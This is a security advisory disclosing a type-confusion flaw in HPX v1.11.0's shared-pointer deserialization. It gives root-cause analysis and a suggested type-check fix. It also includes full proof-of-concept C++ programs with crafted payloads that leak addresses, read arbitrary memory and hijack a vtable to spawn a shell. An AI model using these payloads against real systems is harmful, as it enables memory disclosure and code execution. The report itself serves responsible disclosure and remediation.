Insecure Deserialization - Type Confusion in Shared Pointers - HPX v1.11.0

Description

An issue was discovered in HPX v1.11.0 and below. Insecure deserialization of shared references under certain conditions may lead to type confusion, resulting in information disclosure, control flow hijacking, and arbitrary code execution.

This may come about when deserializing shared pointers of different types, with the root cause being insufficient type checking.

- *Type of issue (e.g. buffer overflow, race condition, etc.)*: Insecure Deserialization, Type Confusion
- *Full paths of source file(s) related to the manifestation of the issue*:
  - file: libs/core/serialization/include/hpx/serialization/detail/pointer.hpp
  - func: `serialize_pointer_tracked(input_archive& ar, Pointer& ptr)`
- *The location of the affected source code (tag/branch/commit or direct URL)*: https://github.com/STEllAR-GROUP/hpx/blob/acf07297232076fd53c9aca5bb02280e48a73447/libs/core/serialization/include/hpx/serialization/detail/pointer.hpp#L255-L285
- *Any special configuration required to reproduce the issue*: No special build/runtime configurations required AFAIK.
- *Step-by-step instructions to reproduce the issue*: See below.
- *Proof-of-concept or exploit code (if possible)*: See below.

- *Impact of the issue, including how an attacker might exploit the issue*: This may allow an attacker to compromise processes within a host or nodes within a network.
  - Potential Impacts: Information disclosure (address leak to bypass ASLR, arbitrary memory read), control flow hijacking (vtable hijacking), arbitrary code execution (by chaining information disclosure and control flow hijacking).
  - High Level Impacts: Local Privilege Escalation by taking over processes, Remote Code Execution if serialization is exposed over the network

Examples

Reproducible examples are uploaded in extra files below.

- `example_addr_leak.cpp`
  - Conditions: Shared pointers of different types are (de)serialized. Data is then used and observed by an attacker.
  - Demonstrates the possibility of addresses being leaked, allowing the attacker to bypass ASLR.
- `example_mem_read.cpp`
  - Conditions: Shared pointers of different types are (de)serialized. Data is then used and observed by an attacker.
  - Demonstrates the possibility of arbitrary memory read, allowing the attacker to disclose sensitive information.
  - For demonstration purposes, an address leak is programmed into the attacker payload. In reality, this could be achieved through the address leak primitive above.
- `example_vtable_hijack.cpp`
  - Conditions: Shared pointers of different types are (de)serialized, of which the latter is a polymorphic class.
  - Demonstrates the possibility of control flow hijacking, allowing the attacker to jump to arbitrary locations or crash the program.
  - For demonstration purposes, we hard-coded a vulnerable function and programmed an address leak into the attacker payload. In reality, this could be achieved through the information disclosure primitives above and code execution could be achieved through gadgets.

Let's walk through `addr_leak.cpp` as an example. In this scenario, we (de)serialize two shared pointers of types `A` and `B`, and we assume the deserialized data is seen by the attacker (e.g. rendered on UI, network request, log info).

```
struct A
{
    std::string data = "AAAABBBBCCCC";

    template <typename S>
    void serialize(S& s) { s & data; }
};

struct B
{
    uint64_t data;

    template <typename S>
    void serialize(S& s) { s & data; }
};

// ...

std::vector<uint8_t> buffer;
{
    hpx::serialization::output_archive oarchive(buffer);
    oarchive & a & b;
}
```

The serialized binary output is:

```
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0
0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x42, 0x42,0x42,0x43,0x43,0x43,0x43,0x01,0
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
0x43,0x42,0x41,0x00,0x00,0x00,0x00,
```

(For reference, relevant serialization and fields can be found in the `serialize_pointer_tracked` function.)

Now, we'll modify the buffer to simulate a maliciously crafted payload. This payload makes the `shared_ptr<B>` refer to the `shared_ptr<A>` using `pos = 0x1a`. Due to insufficient type checking, this deserialization succeeds and leads to an address leak when output is observed.

```
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0
```

```
0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x42, 0x42,0x42,0x43,0x43,0x43,0x43,0x01,0
0x00,0x00,0x00,0x00,0x00,0x00,0x00,
```

Running the file produces the following output:

```
a: 0x7f738401e620 AAAABBBBCCCC
b: 0x7f7384020080 41424344

out:
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x42,
0x42,0x42,0x43,0x43,0x43,0x43,0x01,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,
0x43,0x42,0x41,0x00,0x00,0x00,0x00,

in:
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x42,
0x42,0x42,0x43,0x43,0x43,0x43,0x01,0x1a,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,

a: 0x7f73840209b0 AAAABBBBCCCC
b: 0x7f73840209b0 7f73840209c0
```

Looking at the output, the last line prints `7f73840209c0`, which is a stack address used by the string buffer. Due to ASLR, this address is supposed to be randomised and different every run, and leaking it allows an attacker to bypass ASLR.

Other examples function similarly, deserialization with no runtime type checks lead to type confusion.

- For `example_mem_read.cpp`, deserializing `uint64_t[2]` followed by an `std::string` allows control of string buffer and size.

- For `example_vtable_hijack.cpp`, deserializing `uint64_t` followed by a polymorphic type allows control of the latter's v-pointer.

Output of `example_mem_read.cpp`:

```
b: 0x7ff7040209c0 41424344 45464748
a: 0x7ff70401e620 AAAABBBBCCCC
out:
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x44,0x43,0x42,0x41,0x00,0x00,
0x00,0x00,0x48,0x47,0x46,0x45,0x00,0x00,
0x00,0x00,0x01,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0x3b,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x41,0x41,0x41,0x41,0x42,
0x42,0x42,0x42,0x43,0x43,0x43,0x43,
in:
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x09,0x40,0x1b,0xf7,0x7f,
0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0x1a,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,
b: 0x7ff70401fc60 7ff71b400940 14
a: 0x7ff70401fc60 SOME_SUPER_SECRET_SE
```

Output of `example_vtable_hijacking.cpp`:

```
a: 0x7f196c020080 0
b: 0x7f196c0209c0 B::foo()
out:
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x01,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0x33,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,
```

```
0x00,0x00,0x00,0x42,0x42,0x41,0x00,0x00,
0x00,0x00,0x00,0x00,
in:
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x80,0x32,0xa4,0xa4,0x6f,0x55,
0x00,0x00,0x01,0x1a,0x00,0x00,0x00,0x00,  0x00,0x00,0x00,
a: 0x7f196c01fd10 556fa4a43280
b: 0x7f196c01fd10 pwned!
# id && whoami
uid=0(root) gid=0(root) groups=0(root)
root
```

Root Cause Analysis and Suggestions for Remediation

Under the hood, shared references is implemented as a simple shallow copy (`new_ptr = old_ptr`) which skips further deserialization. In general terms, this can be expressed with the following pseudocode:

```
template<class T>
void load_pointer(T*& new_ptr, int id) {
    if (is_invalid_id(id) || lookup_id(id) == nullptr) {
        load_and_deserialize_object<T>(new_ptr);
    } else {
        new_ptr = lookup_id(id); // Shallow copy shortcut.
    }
}
```

HPX achieves this using a similar lookup-shortcut pattern.

1. Lookup: `tracked_pointer#L56-64`
2. Shortcutting: `serialize_pointer_tracked#L282`

```
if (pos == static_cast<std::uint64_t>(-1))
{
    // First encounter, load and store...
}
else
{
    // Subsequent encounters, shortcut...
```

```
    ptr = helper.t_;
}
```

But the shallow copy isn't the issue. It's the fact that this shortcutting step **does not check the current type being deserialized**. Once we understand this, we can talk remediations.

One idea is to use a hashmap `map<intptr_t, typehash>` mapping a raw pointer address to a type ID/hash. On the first encounter, the object is deserialized and the pointer-typeID pair is inserted into the map. On subsequent encounters, prior to the shallow copy, the library checks whether the type hash of the stored object equals the type hash of the current deserialized object.

Patching our pseudocode example:

```
template<class T>
void load_pointer(T*& new_ptr, int id) {
    if (is_invalid_id(id) || lookup_id(id) == nullptr) {
        load_and_deserialize_object<T>(new_ptr);
+         id_to_type_hashmap[id] = typehash<T>();
    } else {
+       if (id_to_type_hashmap[id] != typehash<T>())
+           throw bad_type_error{};
        new_ptr = lookup_id(id); // Shallow copy shortcut.
    }
}
```

Polymorphism is slightly more complex. One idea for handling polymorphism is to redefine (overload) type-equality for polymorphic classes. Instead of checking `type(A) == type(B)`, we want two classes `A` and `B` to be equal if either `A > B` (`B` is a subtype / derived class of `A`) or vice versa. This means we would need to traverse the inheritance chain.

Disclosure Policy

When a vulnerability is discovered, the researcher (yours truly) will notify the project maintainers with details. A tentative deadline is set for 45 days from the initial report (**Oct. 17**), after which details of the vulnerability will be shared in public with the software and defensive community, or sooner if either a fix is released or the maintainer has declined to address the vulnerability.

Reproduction Steps

I used the `stellargroup/build_env` docker image (`sha256:29aa86cd3be3d97fedd7e3e9530916c4d25d9ba7542c60113b6b6d302adfc0b7`) for testing.

Commands:

```
docker run -it -v ./hpx:/hpx stellargroup/build_env:latest bash

# /hpx -> working directory
# /hpx/hpx -> hpx clone
# /hpx/{CMakeLists.txt,main.cpp} -> files for testing

cd /hpx
git clone https://github.com/STEllAR-GROUP/hpx.git

cd hpx
mkdir build
cd build

# Build hpx
cmake .. \
  -DCMAKE_BUILD_TYPE=Debug \
  -DHPX_WITH_EXAMPLES=ON \
  -DHPX_WITH_TESTS=OFF \
  -DHPX_WITH_MALLOC=system

make install

# Write test file (see below)
cd /hpx
vim main.cpp
vim CMakeLists.txt
mkdir build && cd build

# Build test file
cmake ..
make
./test_hpx
```

CMakeLists.txt

```
cmake_minimum_required(VERSION 3.18)
project(test_hpx CXX)
find_package(HPX REQUIRED)
```

```
add_hpx_executable(
  test_hpx INTERNAL_FLAGS
  SOURCES main.cpp
)
```

main.cpp

```
// Copy and paste an example .cpp file below.
```

example_addr_leak.cpp

```cpp
#include <hpx/init.hpp>
#include <hpx/modules/serialization.hpp>

#include <cstddef>
#include <cstring>
#include <fstream>
#include <iostream>
#include <stdexcept>
#include <string>
#include <vector>

struct A
{
    std::string data = "AAAABBBBCCCC";

    template <typename S>
    void serialize(S& s) { s & data; }

    friend std::ostream& operator<< (std::ostream& os, const A& a) {
        return os << a.data;
    }
};

struct B
{
    uint64_t data;

    template <typename S>
    void serialize(S& s) { s & data; }

    friend std::ostream& operator<< (std::ostream& os, const B& b) {
        return os << b.data;
    }
};
```

```
35
36  int hpx_main()
37  {
38      std::shared_ptr<A> a = std::make_shared<A>();
39      std::shared_ptr<B> b = std::make_shared<B>(B{0x41424344});
40      std::cout << std::hex;
41      std::cout << "a: " << a << " " << *a << std::endl;
42      std::cout << "b: " << b << " " << *b << std::endl;
43      std::cout << std::dec;
44
45      std::vector<uint8_t> buffer;
46      {
47          hpx::serialization::output_archive oarchive(buffer);
48          oarchive & a & b;
49      }
50
51      {
52          std::cout << "out:\n";
53          for (int i = 0; i < buffer.size();)
54          {
55              for (int j = 0; j < 16 && i < buffer.size(); i++, j++)
56                  std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << ((ui
57              std::cout << std::endl;
58          }
59          std::cout << std::dec;
60          /*
61          0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
62          0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
63          0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,
64          0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x42, 0x42,0x42,0x43,0x43,0x43,0x43,0x01,0xff,
65          0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,
66          0x43,0x42,0x41,0x00,0x00,0x00,0x00,
67          */
68      }
69
70      {
71          // Inside this scope, we modify the bytes to simulate the attacker controlling dat
72          buffer = std::vector<uint8_t>{
73              0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x
74              0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0x
75              0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0c,0x00,0x00,0x00,0x00,0x
76              0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x42, 0x42,0x42,0x43,0x43,0x43,0x43,0x01,0x
77              0x00,0x00,0x00,0x00,0x00,0x00,0x00,
78          };
79
80          std::cout << "in:\n";
81          for (int i = 0; i < buffer.size();)
82          {
83              for (int j = 0; j < 16 && i < buffer.size(); i++, j++)
```

```
                std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << ((ui
            std::cout << std::endl;
        }
        std::cout << std::dec;
    }

    {
        hpx::serialization::input_archive iarchive(buffer);

        std::shared_ptr<A> a;
        std::shared_ptr<B> b;
        iarchive & a & b;
        std::cout << std::hex;
        std::cout << "a: " << a << " " << *a << std::endl;
        std::cout << "b: " << b << " " << *b << std::endl;
        std::cout << std::dec;
    }
    return hpx::local::finalize();
}

int main(int argc, char* argv[])
{
    return hpx::local::init(hpx_main, argc, argv);
}
```

example_mem_read.cpp

```
#include <hpx/init.hpp>
#include <hpx/modules/serialization.hpp>

#include <cstddef>
#include <cstring>
#include <fstream>
#include <iostream>
#include <stdexcept>
#include <string>
#include <vector>

struct A
{
    std::string data = "AAAABBBBCCCC";

    template <typename S>
    void serialize(S& s) { s & data; }

    friend std::ostream& operator<< (std::ostream& os, const A& a) {
        return os << a.data;
    }
};
```

```
23
24  struct B
25  {
26      uint64_t data, data2;
27
28      template <typename S>
29      void serialize(S& s) { s & data & data2; }
30
31      friend std::ostream& operator<< (std::ostream& os, const B& b) {
32          return os << b.data << " " << b.data2;
33      }
34  };
35
36  int hpx_main()
37  {
38      const unsigned char MEM_READ_TARGET[] = "SOME_SUPER_SECRET_SENSITIVE_DATA";
39      const uint64_t addr_leak = (uint64_t)(&MEM_READ_TARGET);
40      // std::cout << "simulated address leak: " << (void*)addr_leak << std::endl;
41
42      std::shared_ptr<A> a = std::make_shared<A>();
43      std::shared_ptr<B> b = std::make_shared<B>(B{0x41424344, 0x45464748});
44      std::cout << std::hex;
45      std::cout << "b: " << b << " " << *b << std::endl;
46      std::cout << "a: " << a << " " << *a << std::endl;
47      std::cout << std::dec;
48
49      std::vector<uint8_t> buffer;
50      {
51          hpx::serialization::output_archive oarchive(buffer);
52          oarchive & b & a;
53      }
54
55      {
56          std::cout << "out:\n";
57          for (int i = 0; i < buffer.size();)
58          {
59              for (int j = 0; j < 16 && i < buffer.size(); i++, j++)
60                  std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << ((ui
61              std::cout << std::endl;
62          }
63          std::cout << std::dec;
64          /*
65          0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x00,
66          0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0xff,
67          0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x44,0x43,0x42,0x41,0x00,0x00,
68          0x00,0x00,0x48,0x47,0x46,0x45,0x00,0x00, 0x00,0x00,0x01,0xff,0xff,0xff,0xff,0xff,
69          0xff,0xff,0xff,0x3b,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x00,
70          0x00,0x00,0x00,0x41,0x41,0x41,0x41,0x42, 0x42,0x42,0x42,0x43,0x43,0x43,0x43,
71          */
```

```
    }

    {
        // Inside this scope, we modify the bytes to simulate the attacker controlling dat
        buffer = std::vector<uint8_t>{
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0x
            0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x44,0x43,0x42,0x41,0x00,0x
            0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x01,0x1a,0x00,0x00,0x00,0x
            0x00,0x00,0x00,
        };

        for (int i = 0; i < 8; i++) {
            // Point to the target address. In reality, the attacker would send this along
            // but for the sake of keeping this example short and concise (due to ASLR), l
            // successfully got a leak due to other address leak primitives.
            buffer[0x1a + 0x10 + i] = (addr_leak >> (8*i)) & 0xFF;
        }
        // Attacker can also control the length.
        buffer[0x1a + 0x10 + 0x8] = (uint8_t)20;

        std::cout << "in:\n";
        for (int i = 0; i < buffer.size();)
        {
            for (int j = 0; j < 16 && i < buffer.size(); i++, j++)
                std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << ((ui
            std::cout << std::endl;
        }
        std::cout << std::dec;
    }

    {
        hpx::serialization::input_archive iarchive(buffer);

        std::shared_ptr<A> a;
        std::shared_ptr<B> b;
        iarchive & b & a;
        std::cout << std::hex;
        std::cout << "b: " << b << " " << *b << std::endl;
        std::cout << "a: " << a << " " << *a << std::endl;
        std::cout << std::dec;
    }
    return hpx::local::finalize();
}

int main(int argc, char* argv[])
{
    return hpx::local::init(hpx_main, argc, argv);
}
```

example_vtable_hijack.cpp

```cpp
#include <hpx/init.hpp>
#include <hpx/modules/serialization.hpp>

#include <cstddef>
#include <cstring>
#include <fstream>
#include <iostream>
#include <stdexcept>
#include <string>
#include <vector>

struct A
{
    uint64_t data;

    template <typename S>
    void serialize(S& s) { s & data; }

    friend std::ostream& operator<< (std::ostream& os, const A& a) {
        return os << a.data;
    }
};

struct B
{
    uint64_t data = 0x4142;

    virtual void foo() { std::cout << "B::foo()" << std::endl; }
};

template <typename S>
void serialize(S& s, B& b, unsigned)
{
    s & b.data;
}

HPX_TRAITS_NONINTRUSIVE_POLYMORPHIC(B)
HPX_SERIALIZATION_REGISTER_CLASS(B)

void pwned() {
    std::cout << "pwned!" << std::endl;
    system("/bin/sh");
}
void* table[] = {(void*)pwned};

int hpx_main()
{
```

```
    uint64_t addr_leak = (uint64_t)&table;
    // std::cout << "simulated address leak: " << (void*)addr_leak << std::endl;

    std::shared_ptr<A> a = std::make_shared<A>();
    std::shared_ptr<B> b = std::make_shared<B>();
    std::cout << std::hex;
    std::cout << "a: " << a << " " << *a << std::endl;
    std::cout << "b: " << b << " "; b->foo();
    std::cout << std::dec;

    std::vector<uint8_t> buffer;
    {
        hpx::serialization::output_archive oarchive(buffer);

        oarchive & a & b;
    }

    {
        std::cout << "out:\n";
        for (int i = 0; i < buffer.size();)
        {
            for (int j = 0; j < 16 && i < buffer.size(); i++, j++)
                std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << ((ui
            std::cout << std::endl;
        }
        std::cout << std::dec;
    }

    {
        buffer = std::vector<uint8_t>{
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x01,0xff,0xff,0xff,0xff,0xff,0x
            0xff,0xff,0x1a,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x41,0x41,0x41,0x41,0x42,0x
            0x42,0x42,0x01,0x1a,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,
        };
        for (int i = 0; i < 8; i++) {
            // Point to the target address. In reality, the attacker would send this along
            // but for the sake of keeping this example short and concise (due to ASLR), l
            // successfully got a leak due to other address leak primitives.
            buffer[0x1a + 0x10 + i] = (addr_leak >> (8*i)) & 0xFF;
        }

        std::cout << "in:\n";
        for (int i = 0; i < buffer.size();)
        {
            for (int j = 0; j < 16 && i < buffer.size(); i++, j++)
                std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << ((ui
            std::cout << std::endl;
        }
```

```
        std::cout << std::dec;
    }

    {
        hpx::serialization::input_archive iarchive(buffer);

        std::shared_ptr<A> a;
        std::shared_ptr<B> b;
        iarchive & a & b;
        std::cout << std::hex;
        std::cout << "a: " << a << " " << *a << std::endl;
        std::cout << "b: " << b << " "; b->foo();
        std::cout << std::dec;
    }
    return hpx::local::finalize();
}

int main(int argc, char* argv[])
{
    return hpx::local::init(hpx_main, argc, argv);
}
```